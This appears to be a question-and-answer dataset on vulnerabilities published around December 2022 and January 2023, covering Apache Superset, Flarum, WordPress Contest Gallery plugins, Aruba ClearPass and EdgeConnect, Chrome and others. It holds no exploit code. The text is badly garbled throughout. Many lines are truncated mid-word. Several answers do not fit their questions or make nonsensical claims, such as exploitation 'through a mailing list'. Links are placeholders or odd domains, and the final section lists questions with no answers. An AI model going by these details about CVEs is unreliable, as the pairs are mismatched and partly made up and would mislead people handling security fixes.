What is t The vulnerability identifier assigned to CVE-2015-10060 in the VulDB database is VDB-218
Can you pr While the specific details of the vulnerability in CVE-2015-10060 are not provided, a hypot
What possi An attacker could exploit the vulnerability in CVE-2015-10060 by manipulating the 'id1' or
When was CVE-2015-10060 was published on 17 January 2023.

Is there a b No, a base score is not provided for CVE-2015-10060 according to the information availabl
What is t The CVE ID for the XSS vulnerability found in Apache Superset is CVE-2022-43718.

Which vers CVE-2022-43718 affects Apache Superset versions 1.5.2 and prior, as well as version 2.0.0.
What type CVE-2022-43718 refers to a Cross-Site Scripting (XSS) vulnerability.

What are t To exploit the vulnerability described in CVE-2022-43718, the attacker would need to be ai
When was CVE-2022-43718 was published on 16 January 2023.

Where can Official information and updates about CVE-2022-43718 can be found in the Apache mailir
Is a code e: There's no specific code example provided for the XSS vulnerability in CVE-2022-43718. Hc
What are p Possible attack scenarios for CVE-2022-43718 might include an authenticated user injectin
What is CV CVE-2022-41703 refers to a security vulnerability in the SQL Alchemy connector of Apache
Which vers CVE-2022-41703 affects Apache Superset versions 1.5.2 and all prior versions, as well as ve
What perr To exploit CVE-2022-41703, an attacker needs to be an authenticated user with read acces

What is the impact of CVE-2022-41703 on database security? The impact of CVE-2022-41703 on database security is that it could lead to unauthorized access.

When was CVE-2022-41703 published? CVE-2022-41703 was published on January 16, 2023.

Are there any specific code examples provided? As of the knowledge about CVE-2022-41703, no specific code examples are provided. Attackers can exploit this vulnerability through a mailing list.

Has there been any communication about CVE-2022-41703? Yes, Apache has communicated about CVE-2022-41703 through a mailing list, which is publicly available.

What message does this vulnerability convey? To mitigate CVE-2022-41703, administrators should update Apache Superset to a version that includes the fix.

What is the CVE ID for the critical vulnerability found in the liftkit database? The CVE ID for the critical vulnerability found in the liftkit database is CVE-2016-15020.

Which versions of liftkit are affected by this vulnerability? The vulnerability CVE-2016-15020 affects liftkit database versions up to and including 2.1.3.

In the context of liftkit, what file is impacted? In the case of CVE-2016-15020, the file impacted is src/Query/Query.php, specifically within the MySQL driver.

What type of vulnerability is CVE-2016-15020? CVE-2016-15020 is a SQL injection vulnerability. It can be mitigated by upgrading the liftkit database to a version that includes the fix.

What is the patch that addresses this vulnerability? The patch that addresses the vulnerability CVE-2016-15020 is named 42ec8f2b22e0b0b981.

Are there any references available for this vulnerability? Yes, there are several references available for the liftkit database vulnerability CVE-2016-15020.

What is the attack vector for this vulnerability? The vulnerability CVE-2016-15020 could allow an attacker to perform a SQL injection attack on the liftkit database.

Can you provide an explicit code example? While an explicit code example might not be applicable without further details, an attack vector could involve crafting a malicious query to extract data from the liftkit database.

How was this vulnerability disclosed? The CVE-2016-15020 was disclosed through public references, including a GitHub commit.

What is the official publication date of CVE-2016-15020? The official publication date of CVE-2016-15020 is 16 January 2023.

What is CVE-2023-22470? CVE-2023-22470 refers to a vulnerability discovered in Nextcloud Deck, which is a kanban-style application.

How might an attacker exploit CVE-2023-22470? An attacker could exploit CVE-2023-22470 by generating a database error within the Nextcloud Deck application.

What versions of Nextcloud Deck are affected by this vulnerability? The specific versions of Nextcloud Deck affected by CVE-2023-22470 are not mentioned in the information provided.

What are the remediation steps? To remediate CVE-2023-22470, administrators should upgrade their Nextcloud Server to version 23.0.1 or later.

Are there any workarounds? According to the information provided, there are currently no known workarounds for CVE-2023-22470.

Where can more detailed information be found? More detailed information about CVE-2023-22470 can be found at the given references: TILs and GitHub commits.

Was a base score provided for this vulnerability? No base score has been provided for CVE-2023-22470 as per the given information.

When was CVE-2023-22470 published? CVE-2023-22470 was published on January 14, 2023.

What is CVE-2022-23532? CVE-2022-23532 identifies a path traversal vulnerability in the apoc.export.* procedures of Neo4j.

Which versions of Neo4j are affected by this vulnerability? The vulnerability in CVE-2022-23532 is patched in Neo4j versions 4.3.0.12, 4.4.0.12, and 5.0.0.

How can an attacker exploit this vulnerability? To exploit the CVE-2022-23532 vulnerability, an attacker would need to be able to execute Cypher queries.

Is there a workaround? Yes, as a workaround for CVE-2022-23532, one can control the allowlist of the procedures.

What is the implication of this vulnerability? The implication of CVE-2022-23532 for Neo4j databases is the risk of unauthorized file creation.

Could you provide an explicit code example? While a specific code example for exploiting CVE-2022-23532 is not provided, a general exploit exists.

What is the official publication date of CVE-2022-23532? The official publication date of CVE-2022-23532 is 14 January 2023.

Where can more information and the patch be found? More information and the patch for CVE-2022-23532 can be found in the GitHub commit a

What is the CVE ID for this vulnerability? The CVE ID of the vulnerability is CVE-2023-22489.

Which platform is affected? Flarum, which is a discussion platform for websites, is affected by CVE-2023-22489.

What causes this vulnerability? The security vulnerability in CVE-2023-22489 is caused by the `first_post_id` attribute of a post.

What type of actor can exploit this vulnerability? Any actor who can view a Flarum discussion where the first post has been permanently deleted.

What are the remediation steps? Exploiting CVE-2023-22489 can lead to uncontrolled spam or unintended replies in Flarum.

Which versions of Flarum are affected? Versions of Flarum between v1.3.0 and v1.6.3 are affected by CVE-2023-22489.

How was this vulnerability disclosed? The vulnerability described in CVE-2023-22489 has been fixed and the patch was published on GitHub.

Are there any known workarounds? There are no known workarounds for the vulnerability described in CVE-2023-22489. Upgrading to a newer version of Flarum is recommended.

Where can the fix be found? The fix for CVE-2023-22489 can be found in the release tag v1.6.3 on Flarum's GitHub repository.

Can you provide an attack vector? An attacker could monitor a Flarum community for discussions where the first post has been deleted.

What is CVE-2022-42284? CVE-2022-42284 refers to a security issue identified in the Baseboard Management Controller (BMC) of NVIDIA.

How are user passwords stored? In the context of CVE-2022-42284, NVIDIA's BMC stores user passwords in an obfuscated format.

When was CVE-2022-42284 published? CVE-2022-42284 was published on 13 January 2023.

What is the base score for CVE-2022-42284 has not been made available or applicable at the time. Where can Additional details about CVE-2022-42284 can be found on NVIDIA's official customer help | What could An attack scenario for CVE-2022-42284 could involve an attacker who has gained unauthorized access to the system. Are there any To address CVE-2022-42284, NVIDIA would likely issue a software update or patch that changes the configuration of the affected hardware. What is CVE-2023-22488 is a security vulnerability that affects Flarum, a forum software used for building communities. How can it be exploited by using the notifications feature within Flarum to access sensitive information. What kind of Due to CVE-2023-22488, an attacker can leak various types of restricted content such as personal information. What version All versions of Flarum prior to v1.6.3 are affected by the CVE-2023-22488.

How has it been fixed? The vulnerability CVE-2023-22488 has been fixed in version v1.6.3 of Flarum. The update has been released and is available for download. What temporary workaround As a temporary workaround for CVE-2023-22488, it is suggested to either disable the Flarum notifications feature or update to the latest version. Where can More information about CVE-2023-22488 can be found on GitHub, including the security patch code. Could you explain An attack scenario for CVE-2023-22488 might involve an unprivileged user subscribing to a new forum and receiving notifications that contain sensitive information. What is CVE-2023-0254 refers to a security vulnerability in the Simple Membership WP User Import plugin for WordPress. Which plugin CVE-2023-0254 affects the Simple Membership WP User Import plugin for WordPress. What type of CVE-2023-0254 is a SQL Injection vulnerability.

Which version Versions up to and including 1.7 of the Simple Membership WP User Import plugin are vulnerable. What permission An attacker needs to have administrative privileges on the WordPress site to exploit CVE-2023-0254. What kind of CVE-2023-0254 can lead to a SQL Injection attack, which could allow an attacker to append malicious code to database queries. Can you provide more details While the specifics of the code vulnerability are not provided, a general example of exploit involves injecting SQL commands into user input fields. When was it published? CVE-2023-0254 was published on 12 January 2023.

How can I fix it? More information about CVE-2023-0254 can be found through the provided references, which include the GitHub repository and a security advisory. Are there any fixes? The provided information does not mention a fix or patch explicitly. Typically, vulnerabilities like this are addressed in future plugin updates. What is CVE-2023-22487 is a security vulnerability found in Flarum, a forum software used for building communities. How can it be exploited? An attacker can exploit CVE-2023-22487 by creating a new post on the forum and mentioning sensitive information. What version All versions of Flarum prior to version 1.6.3 are affected by CVE-2023-22487.

What has been done? The vulnerability CVE-2023-22487 has been fixed and a new version of Flarum, specifically v1.6.3, has been released. What workaround As a workaround for CVE-2023-22487, users can disable the notifications extension in Flarum. What are the impacts? The exploitation of CVE-2023-22487 can lead to sensitive information leakage. An attacker could gain unauthorized access to user posts and comments. Where can more technical details be found? More technical details about CVE-2023-22487, as well as the fix, can be found on GitHub. What is CVE-2022-40615 is a security vulnerability found in IBM Sterling Partner Engagement Manager. How can it be exploited? An attacker could exploit CVE-2022-40615 by sending specially crafted SQL statements to the database. What are the impacts? The impacts of exploiting CVE-2022-40615 include unauthorized access to sensitive information, such as user profiles and payment details. What versions are affected? The versions of IBM Sterling Partner Engagement Manager affected by CVE-2022-40615 are 10.0.0 and 10.0.1. What measures can be taken? To mitigate CVE-2022-40615, users of affected IBM Sterling Partner Engagement Manager should apply the available patch and update to the latest version. Where can more information be found? More information about CVE-2022-40615 can be found on IBM's official support page at [ibm.com/support/cve-2022-40615](#). Has a base score? As of the information provided, there is no Base Score assigned to CVE-2022-40615.

What is the IBM X-Force ID related to CVE-2022-40615? The IBM X-Force ID related to CVE-2022-40615 is 236208. What is CVE-2022-46163 refers to a security vulnerability in the openSUSE Travel Support Program. How can sensitive data be extracted? Sensitive data can be extracted through a Ransack query injection in the openSUSE Travel Support Program. What version is affected? All versions of the openSUSE Travel Support Program below the one that includes the patch are affected. How can it be protected? Users can protect against the exploitation of CVE-2022-46163 by updating the openSUSE Travel Support Program to the latest version. What is cherry-picking? Cherry-picking the patch for CVE-2022-46163 is difficult because it depends on a prior migration. What are potential attack scenarios? Potential attack scenarios for CVE-2022-46163 could include an unauthenticated attacker gaining access to user accounts. When was it disclosed? CVE-2022-46163 was publicly disclosed on the 10th of January, 2023.

Can you pr An example exploit for CVE-2022-46163 would involve manipulating the search parameter
What is CV CVE-2023-0135 is a security vulnerability identified in Google Chrome which involves a use
When was CVE-2023-0135 was published on 10 January 2023.

What versi CVE-2023-0135 affects versions of Google Chrome prior to 109.0.5414.74.

How can C' An attacker can exploit CVE-2023-0135 by convincing a user to install a malicious Chrome exten

Are there a Yes, more information on CVE-2023-0135 can be found through the following references:-

What kind CVE-2023-0135 is classified as a 'Use after free' vulnerability, which involves dereferencing

Can you de In a potential attack scenario for CVE-2023-0135, an attacker could craft a malicious Googl

Has CVE-2023-0135 As per the provided information, a Base Score for CVE-2023-0135 has not been provided o

What is CV CVE-2023-0134 refers to a vulnerability discovered in Google Chrome, specifically a use-af

How sever The severity of CVE-2023-0134 has been classified as 'Medium' by Chromium's security tea

What versi CVE-2023-0134 affects Google Chrome versions prior to 109.0.5414.74. Users running vers

How could An attacker could potentially exploit CVE-2023-0134 by convincing a user to install a malici

What are s For more detailed information about CVE-2023-0134, you can refer to the following source

When was CVE-2023-0134 was published on 10 January 2023.

Is there a b As of the information provided, there is no Base Score assigned to CVE-2023-0134. The Bas

What mitig To mitigate CVE-2023-0134, users should update their Google Chrome browser to version

What is the The CVE ID for the vulnerability discovered in MediaWiki is CVE-2023-22909.

Which vers The versions of MediaWiki affected by CVE-2023-22909 are versions before 1.35.9, 1.36.x

What kind CVE-2023-22909 represents a denial of service issue in MediaWiki, due to slow database q

How can C' CVE-2023-22909 can be exploited by an attacker by using SpecialMobileHistory to initiate :

On what d: CVE-2023-22909 was published on 10 January 2023.

Where can More information about CVE-2023-22909 can be found at the following URLs: <https://lists>.

What kind Attack scenarios involving CVE-2023-22909 could include an attacker deliberately triggerin

What is the The impact of the vulnerability identified by CVE-2023-22909 in MediaWiki is primarily tha

Has a base As of the information available, no base score has been assigned to CVE-2023-22909 yet.

Are there c As CVE-2023-22909 pertains to slow database queries initiated via SpecialMobileHistory, s

What is CV CVE-2023-0016 is a Common Vulnerabilities and Exposures (CVE) identifier for a security v

What type CVE-2023-0016 could potentially allow an attacker to perform an SQL injection attack on S

What are t If an attacker successfully exploits CVE-2023-0016, they could gain unauthorized access to

What mea: To mitigate the risk posed by CVE-2023-0016, SAP has likely released a security patch or up

Are there a Yes, SAP has made available official resources to address the CVE-2023-0016 vulnerability.

When was CVE-2023-0016 was published on 10 January 2023.

What is CV CVE-2015-10016 is a critical vulnerability found in Jeff Kelley's opensim-utils, specifically in

How can C' CVE-2015-10016 can be mitigated by applying the patch with the identifier c29e5c729a833

What type CVE-2015-10016 is classified as an SQL injection vulnerability, which is a code injection tec

What are t Attack scenarios for CVE-2015-10016 could involve an attacker manipulating the 'region' a

Where can Fixes for CVE-2015-10016 can be found on GitHub at the following URL: <https://github.com>

Is there a k The provided information does not include a base score for CVE-2015-10016. The severity

When was CVE-2015-10016 was published on January 6th, 2023.

What is the The vulnerability identifier for CVE-2015-10016 in the Vulnerability Database (VulnDB) is VD

Can you pr While a specific code example is not available due to restrictions, a general idea of an SQL i

What is the The CVE ID for the SQL injection vulnerability discovered in Seiji42's cub-scout-tracker is C

Can you de The critical vulnerability in Seiji42's cub-scout-tracker pertains to an SQL injection flaw. Thi

What type CVE-2014-125046 is associated with an SQL injection security issue.

Has a patch Yes, a patch has been released to address the SQL injection vulnerability in Seiji42's cub-sc

Where can More information and the patch details for CVE-2014-125046 can be found on GitHub at [https://github.com/Seiji42/cub-sc](#)

What are t Potential attack scenarios for the SQL injection vulnerability CVE-2014-125046 include atta

What is the Not patching the SQL injection vulnerability mentioned in CVE-2014-125046 can result in s

When was The vulnerability designated as CVE-2014-125046 was publicly disclosed on 06 January 202

What is CV CVE-2023-22626 is a security vulnerability in PgHero before version 3.1.0 that allows infor

How does t CVE-2023-22626 permits information disclosure through an error message that may includ

In what ver The vulnerability referenced by CVE-2023-22626 affects versions of PgHero prior to 3.1.0. |

What can t The impact of the information disclosure in CVE-2023-22626 can vary depending on the da

When was CVE-2023-22626 was published on January 5, 2023.

What are t To mitigate CVE-2023-22626, it is recommended to update PgHero to version 3.1.0 or high

What type CVE-2023-22626 is classified as an information disclosure vulnerability, where sensitive da

Are there a Yes, for more information about CVE-2023-22626, you can refer to the GitHub issue at [https://github.com/pghero/pghero/issues/100](#)

Can you ex A possible attack scenario for CVE-2023-22626 could involve an attacker with access to PgH

What is CV CVE-2022-43531 is a security vulnerability identified in the web-based management interf

Which vers CVE-2022-43531 affects ClearPass Policy Manager versions 6.10.x: 6.10.7 and below, and €

What can a By exploiting CVE-2022-43531, an attacker could potentially obtain and modify sensitive in

What is the As of the information provided, a base score for CVE-2022-43531 was not available (N/A).

When was CVE-2022-43531 was published on 05 January 2023.

Where can More information or an advisory regarding CVE-2022-43531 can be found at Aruba Netwo

What is the The attack vector for CVE-2022-43531 involves an authenticated remote attacker utilizing t

Can you pr For security reasons, it is not advisable to provide actual code examples of an SQL injectio

How can C To mitigate CVE-2022-43531, administrators should apply the latest patches provided by A

Could you i A possible attack scenario with CVE-2022-43531 would involve an attacker who has alread

What is CV CVE-2022-43530 refers to a set of vulnerabilities identified within the web-based manager

Which vers CVE-2022-43530 affects ClearPass Policy Manager 6.10.x versions up to 6.10.7 and 6.9.x ve

What are t The potential consequences of an attack that successfully exploits CVE-2022-43530 includ€

What mitig Users are advised to refer to the security advisory provided by Aruba Networks for CVE-20

Was there At the time of the publication of the CVE-2022-43530 details, there was no Base Score assi

How was C CVE-2022-43530 was made public through a security advisory released by Aruba Networks

Can you de An attack scenario for CVE-2022-43530 could involve an attacker with authenticated acces

Where can More information on CVE-2022-43530 is available in the security advisory published by Ari

What is CV CVE-2022-43523 refers to multiple vulnerabilities discovered in the web-based manageme

Which vers CVE-2022-43523 affects Aruba EdgeConnect Enterprise Orchestrator in various versions in

What type CVE-2022-43523 makes SQL injection attacks possible. This type of attack involves insertin

What can a By exploiting CVE-2022-43523, an attacker could potentially achieve unauthorized access t

Was there Yes, there was a security advisory published for CVE-2022-43523. The details of the vulner

When was The vulnerability CVE-2022-43523 was published on 05 January 2023.

Can you pr A possible attack scenario for CVE-2022-43523 could involve an authenticated attacker util

What is the The CVE ID for the vulnerabilities found in Aruba EdgeConnect Enterprise Orchestrator is C

Which com The CVE-2022-43522 vulnerability affects the web-based management interface of Aruba I

What type CVE-2022-43522 could potentially allow an authenticated remote attacker to conduct SQL

What is the The Base Score for CVE-2022-43522 has not been provided or is listed as 'N/A' in the provi

When was CVE-2022-43522 published on 05 January 2023.

What versions of Aruba EdgeConnect Enterprise Orchestrator were impacted by CVE-2022-43522?

Where can More information or an alert regarding CVE-2022-43522 be found at the following URL?

Could you provide a potential attack scenario for CVE-2022-43522 involves an authenticated attacker exploiting a vulnerability?

What is CVN? CVE-2022-43521 is a designation for multiple vulnerabilities that were discovered in the web-based management interface.

Which versions of Aruba EdgeConnect Enterprise Orchestrator are affected by CVE-2022-43521?

What type of attack can CVE-2022-43521 facilitate SQL injection attacks, where an attacker can insert or manipulate data?

Are there any advisories? Yes, Aruba Networks has published an advisory regarding CVE-2022-43521, which can be found at the following URL.

When was CVE-2022-43521 published on January 05, 2023.

What is the base score for CVE-2022-43521? The base score for CVE-2022-43521 is not available ('N/A').

What kind of attack would exploit CVE-2022-43521? An attacker would need to have authenticated access to the web-based management interface.

Can you describe an attack scenario for CVE-2022-43521? In an attack scenario exploiting CVE-2022-43521, an attacker with legitimate credentials could gain unauthorized access to sensitive information stored in the system.

What is CVN? CVE-2022-43520 refers to multiple vulnerabilities discovered in the web-based management interface.

Which versions of Aruba EdgeConnect Enterprise Orchestrator are affected by CVE-2022-43520? The versions affected by CVE-2022-43520 include Orchestrator 9.2.1.40179 and below, Orchestrator 9.2.1.40180 and below, and Orchestrator 9.2.1.40181 and below.

How can an attacker exploit CVE-2022-43520? Exploitation of CVE-2022-43520 requires an attacker to be authenticated with the web-based management interface.

What information can be obtained by exploiting CVE-2022-43520? By exploiting CVE-2022-43520, attackers can obtain and modify sensitive information stored in the system.

When was CVE-2022-43520 published on 05 January 2023.

What is the Base Score for CVE-2022-43520? The Base Score for CVE-2022-43520 is not provided in the available information.

Where can More information and the official advisory regarding CVE-2022-43520 be found at the following URL?

Can you provide an example of an attack scenario for CVE-2022-43520? An example of an attack scenario utilizing CVE-2022-43520 would involve an attacker with legitimate credentials gaining unauthorized access to sensitive information stored in the system.

What are the CVE IDs for CVE-2022-43520? To exploit CVE-2022-43520, an attacker is required to be authenticated to the web-based management interface.

What is the CVE ID for CVE-2022-43519? The CVE ID for the vulnerability is CVE-2022-43519.

What type of attack can CVE-2022-43519 facilitate? CVE-2022-43519 is associated with multiple vulnerabilities that could allow SQL injection attacks.

Which versions of Aruba EdgeConnect Enterprise Orchestration Software are affected by CVE-2022-43519? The affected versions of Aruba EdgeConnect Enterprise Orchestration Software are: Orchestrator 9.2.1.40179 and below, Orchestrator 9.2.1.40180 and below, and Orchestrator 9.2.1.40181 and below.

Can you describe a potential attack scenario for CVE-2022-43519? A potential attack scenario for CVE-2022-43519 involves an authenticated remote attacker exploiting a vulnerability to gain unauthorized access to sensitive information.

How can an attacker exploit CVE-2022-43519? An authenticated remote attacker can exploit the vulnerabilities in CVE-2022-43519 by crafting SQL injection queries.

What is the publication date for CVE-2022-43519? CVE-2022-43519 was published on 05 January 2023.

Are there any additional details about CVE-2022-43519? Yes, additional details about CVE-2022-43519 can be found in the security advisory provided by Aruba Networks.

What should users do? Users of affected Aruba EdgeConnect Enterprise Orchestrator versions should review the security advisory and apply patches or updates if available.

Has a base score been provided for CVE-2022-43519? No, a base score has not been provided for CVE-2022-43519 at the time of the publication.

What is the CVE ID for the SQL injection vulnerability found in IBM Sterling B2B Integrator Standard Edition? The CVE ID for the SQL injection vulnerability found in IBM Sterling B2B Integrator Standard Edition is CVE-2022-22338.

In which software is the vulnerability present? The CVE-2022-22338 vulnerability is present in IBM Sterling B2B Integrator Standard Edition.

What kind of attack can CVE-2022-22338 facilitate? CVE-2022-22338 allows a remote attacker to perform an SQL injection attack, which could lead to unauthorized access to sensitive information.

How can an attacker exploit CVE-2022-22338? An attacker can exploit the vulnerability in CVE-2022-22338 by sending specially crafted SQL queries to the system.

What is the IBM X-Force ID for CVE-2022-22338? The IBM X-Force ID associated with CVE-2022-22338 is 219510.

When was CVE-2022-22338 published on 04 January 2023.

Where can More information or updates about CVE-2022-22338 be found on the IBM X-Force Exchange?

Can you provide an example scenario for CVE-2022-22338? An example scenario of exploiting CVE-2022-22338 might involve an attacker creating a web-based application that sends malicious SQL queries to the system.

What precautions should users take to mitigate the impact of CVE-2022-22338? To mitigate the impact of CVE-2022-22338, users should apply patches or updates provided by the vendor.

What is the security vulnerability identified in the Download function's parameters? CVE-2022-43437 is a security vulnerability that was identified in the Download function's parameters.

When was CVE-2022-43437 published on 03 January 2023.

What can an attacker do by exploiting CVE-2022-43437? By exploiting CVE-2022-43437, a remote attacker, who is authenticated as a general user, can gain unauthorized access to sensitive information.

Has a base score been assigned to CVE-2022-43437? As of the latest information available, no base score has been assigned to CVE-2022-43437.

Where can More information about CVE-2022-43437 be found on the official Taiwan Computer Emergency Response Team (CERT) website?

Could you | Certainly. For CVE-2022-43437, an attack scenario may involve a perpetrator who has gained access to the system and is able to execute arbitrary SQL queries. What type: CVE-2022-43437 is classified as a SQL injection vulnerability, which is a type of injection attack. What is CV: CVE-2022-39041 refers to a security vulnerability found in the aEnrich a+HRD software, which is a Java-based application. When was CVE-2022-39041 published: on 03 January 2023.

What kind: The security issue outlined in CVE-2022-39041 is a SQL injection vulnerability, which stems from a lack of proper input validation. Is there a Base Score: As of the available information, there is no Base Score provided for CVE-2022-39041.

How can an attacker exploit it: An attacker can exploit the vulnerability in CVE-2022-39041 by injecting arbitrary SQL commands into the application's database queries.

Can you provide an example: Certainly, below is a simplified example of a code snippet that may be vulnerable to the kind of attack described.

Are there any references: Yes, more information about CVE-2022-39041 can be found at the following reference URL:

Discuss an attack scenario: A possible attack scenario leveraging CVE-2022-39041 would involve an attacker sending specially crafted SQL queries to the application.

What is CV: CVE-2022-37787 is a security vulnerability identified in the WeCube platform version 3.2.2.

On which platform: The CVE-2022-37787 vulnerability was discovered in the WeCube platform, specifically in the 'cube' component.

What type: CVE-2022-37787 is classified as a DOM XSS vulnerability, which is a type of cross-site scripting attack.

How does it work: The CVE-2022-37787 vulnerability manifests itself as a DOM cross-site scripting (XSS) issue.

Were any references provided: Yes, there are references provided for more details on CVE-2022-37787. The references include:

What is a potential attack scenario: A potential attack scenario for CVE-2022-37787 could involve an attacker crafting a malicious script that is executed in the context of a user's browser.

Can you provide an example: An example of a DOM XSS attack exploiting CVE-2022-37787 might involve an attacker sending a malicious URL to a user.

What is CV: CVE-2022-46763 refers to a SQL injection vulnerability that was identified in a database stored procedure.

When was CVE-2022-46763 published: on 27 December 2022.

What is the security issue: The security issue described by CVE-2022-46763 allows a low-privileged database user to execute arbitrary SQL queries.

Where can I find more information: You can find more information about CVE-2022-46763 from the following references:- GitHub repository.

What is the Base Score: The Base Score for CVE-2022-46763 is not available (N/A). This means the Common Vulnerabilities and Exposures (CVE) database does not have a numerical score assigned.

Can you provide an example: In the context of CVE-2022-46763, an attack scenario might involve a low-privileged user crafting a malicious query that is processed by the stored procedure.

What is the CVE ID: The vulnerability is identified by CVE-2022-4166.

Which WordPress plugin: CVE-2022-4166 affects the Contest Gallery WordPress plugin and Contest Gallery Pro WordPress plugin.

What is the vulnerability: CVE-2022-4166 describes an SQL injection vulnerability where the 'addCounts' POST parameter is not properly sanitized.

What user needs to exploit it: To exploit the vulnerability in CVE-2022-4166, a malicious user needs to have at least author-level privileges.

When was CVE-2022-4166 published: on 26 December 2022.

How could it be exploited: A potential attack exploiting CVE-2022-4166 could be demonstrated by an attacker who has gained access to the system.

What are the references: The references provided for CVE-2022-4166 include: 1. <https://bulletin.iese.de/post/contest-gallery-wordpress-plugin-v19-1-5-1-sql-injection-vulnerability/>

Has a base score: No base score has been assigned to CVE-2022-4166 as indicated by the 'N/A' entry in the database.

What are possible attack scenarios: Possible attack scenarios from CVE-2022-4166 could involve an attacker with author-level privileges crafting a malicious query.

What is CV: CVE-2022-4165 refers to a security vulnerability identified in the Contest Gallery and Contest Gallery Pro WordPress plugins.

What are the affected versions: The versions of the software affected by CVE-2022-4165 are the Contest Gallery WordPress plugin and the Contest Gallery Pro WordPress plugin.

What type of vulnerability: To exploit CVE-2022-4165, an attacker would need to have at least author-level privileges.

What is the impact: The impact of CVE-2022-4165 on a WordPress site could be significant, as it may allow attackers to execute arbitrary SQL queries.

When was CVE-2022-4165 published: on December 26, 2022.

Can you provide an example: An example exploitation scenario for CVE-2022-4165 would involve an attacker with author-level privileges crafting a malicious query.

What should be done to mitigate it: To mitigate CVE-2022-4165, users and administrators of WordPress sites using the Contest Gallery and Contest Gallery Pro plugins should update to the latest version of the software.

Where can I find more detailed information: More detailed information about CVE-2022-4165 can be found from the references provided in the CVE entry.

What is the CVE ID: The CVE ID of the vulnerability affecting the Contest Gallery WordPress plugins is CVE-2022-4164.

Which versions are affected: CVE-2022-4164 affects the Contest Gallery WordPress plugin versions before 19.1.5.1 and earlier.

What is the vulnerability: CVE-2022-4164 represents a security issue where the affected plugins do not properly escape user input.

What privileges are required to exploit it: To exploit the vulnerability identified by CVE-2022-4164, a malicious user must have at least author-level privileges.

On what date CVE-2022-4164 was published on 26 December 2022.

Can you provide More information about CVE-2022-4164 can be found at the following URL: <https://wpsecinfo.com/cve-2022-4164/>

What are the details of the vulnerability CVE-2022-4164 could allow malicious users with adequate privileges to perform SQL injection attacks on the site?

Can you describe An attack scenario for CVE-2022-4164 could involve a malicious author on a WordPress site.

Has a base score As of the provided information, a base score has not been assigned to CVE-2022-4164.

What is the The CVE ID of the vulnerability found in the Contest Gallery WordPress plugins is CVE-2022-

Can you describe CVE-2022-4163 is assigned to an SQL injection vulnerability in the Contest Gallery WordPress plugin.

What privilege To exploit the vulnerability described in CVE-2022-4163, an attacker must have at least an author-level privilege.

As of which The Contest Gallery WordPress plugin and the Contest Gallery Pro WordPress plugin were affected.

On what date CVE-2022-4163 was published on 26 December 2022.

Where can More information about CVE-2022-4163 can be found on the following websites:- <https://wpsecinfo.com/cve-2022-4163/>

What potential impact The vulnerability in CVE-2022-4163 could allow an attacker with author privileges to compromise the site.

What is the In the context of CVE-2022-4163, properly escaping user inputs is critical for preventing attacks.

What is CVE-2022-4162 is a security vulnerability found in the Contest Gallery and Contest Gallery Pro WordPress plugins.

Which versions Versions of the Contest Gallery and Contest Gallery Pro WordPress plugins before 19.1.5.1 are affected.

What privilege An attacker would need to have at least author-level privileges on a WordPress site to exploit the vulnerability.

When was CVE-2022-4162 was published on 26 December 2022.

Can you give an example While the exact code example that leads to CVE-2022-4162 is not provided, an SQL injection vulnerability is present.

How could it be mitigated To mitigate CVE-2022-4162, administrators of affected sites should update the Contest Gallery plugin to version 19.1.5.1 or later.

Where can More information about CVE-2022-4162 can be found at these references:- <https://ieeescrubs.com/cve-2022-4162/>

What type of vulnerability CVE-2022-4162 could facilitate a SQL injection attack, allowing an attacker with author privileges to extract sensitive data from the database.

What is the The CVE ID of the vulnerability found in the Contest Gallery WordPress plugin is CVE-2022-4161.

Which versions CVE-2022-4161 affects the Contest Gallery WordPress plugin versions before 19.1.5.1, and the Contest Gallery Pro plugin before 1.1.1.

What kind of vulnerability CVE-2022-4161 is a security issue where the 'cg_copy_start' POST parameter is not properly validated.

Who can potentially be exploited The vulnerability described by CVE-2022-4161 can potentially be exploited by malicious users.

Could you provide an example While the specific code for CVE-2022-4161 is not provided, a general example of a SQL injection vulnerability is shown below.

When was CVE-2022-4161 was published on 26 December 2022.

Where can More information about CVE-2022-4161 can be found through the following references:- <https://wpsecinfo.com/cve-2022-4161/>

Can you explain A possible attack scenario for CVE-2022-4161 would involve an attacker with author privileges to exploit the vulnerability.

What is the The CVE ID for the vulnerability found in the Contest Gallery WordPress plugin is CVE-2022-4160.

Which versions CVE-2022-4160 affects the Contest Gallery WordPress plugin before 19.1.5.1 and the Contest Gallery Pro plugin before 1.1.1.

What kind of vulnerability CVE-2022-4160 is a vulnerability involving insufficient escaping of the 'cg_copy_id' POST parameter.

What privilege To exploit the vulnerability described in CVE-2022-4160, a malicious user must have at least an author-level privilege.

What kind of impact As a result of CVE-2022-4160, sensitive information from the site's database can be leaked.

Can you provide an example An example of a potential SQL injection vulnerability introduced by CVE-2022-4160 would be the following:

What is the The published date for the CVE-2022-4160 vulnerability is 26 December 2022.

Where can More information about CVE-2022-4160 can be found at the following references: '<https://wpsecinfo.com/cve-2022-4160/>'

Describe a possible attack scenario A possible attack scenario for CVE-2022-4160 would involve a malicious author who leverages the vulnerability to extract sensitive data from the database.

What is CVE-2022-4159 refers to a security vulnerability that was identified in certain versions of the WordPress plugin.

When was CVE-2022-4159 was published on 26 December 2022.

What privilege To exploit CVE-2022-4159, a malicious user would need to have at least author privileges on the site.

Are there any references Yes, references for CVE-2022-4159 can be found at the following URLs: '<https://bulletin.iesec.org/cve-2022-4159/>'

What kind of vulnerability Exploiting CVE-2022-4159 could allow an attacker to perform SQL injection attacks on the site.

Can you provide an example While the exact vulnerable code snippet is not provided in the CVE details, a hypothetical example is shown below:

What is CV CVE-2022-4158 refers to a security vulnerability that was found in the Contest Gallery WordPress plugin before version 19.1.5.1 and the impact of CVE-2022-4158 includes a risk of SQL injection, which can allow an attacker to extract sensitive data from the database.

When was CVE-2022-4158 published on 26 December 2022.

Are there any references available that provide additional information on CVE-2022-4158?

What version of the Contest Gallery WordPress plugin affects CVE-2022-4158?

Can you provide an example of how CVE-2022-4158 could be exploited?

What are potential attack scenarios for CVE-2022-4158?

Has a base score assigned to CVE-2022-4158?

What is CV CVE-2022-4157?

What type of vulnerability is CVE-2022-4157 classified as?

What are the impacts of CVE-2022-4157?

Has a score assigned to CVE-2022-4157?

When was CVE-2022-4157 published on 26 December 2022.

Are there any details about CVE-2022-4157 available online?

Can you provide a hypothetical example of code affected by CVE-2022-4157?

What is the mitigation for CVE-2022-4157?

What kind of administrative privileges are required to exploit CVE-2022-4157?

What is CV CVE-2022-4156?

What are the impacts of CVE-2022-4156?

When was CVE-2022-4156 published on 26 December 2022.

What versions of the Contest Gallery WordPress plugin are affected by CVE-2022-4156?

What are the impacts of CVE-2022-4156?

How can I mitigate CVE-2022-4156?

Can you provide specific malicious code examples?

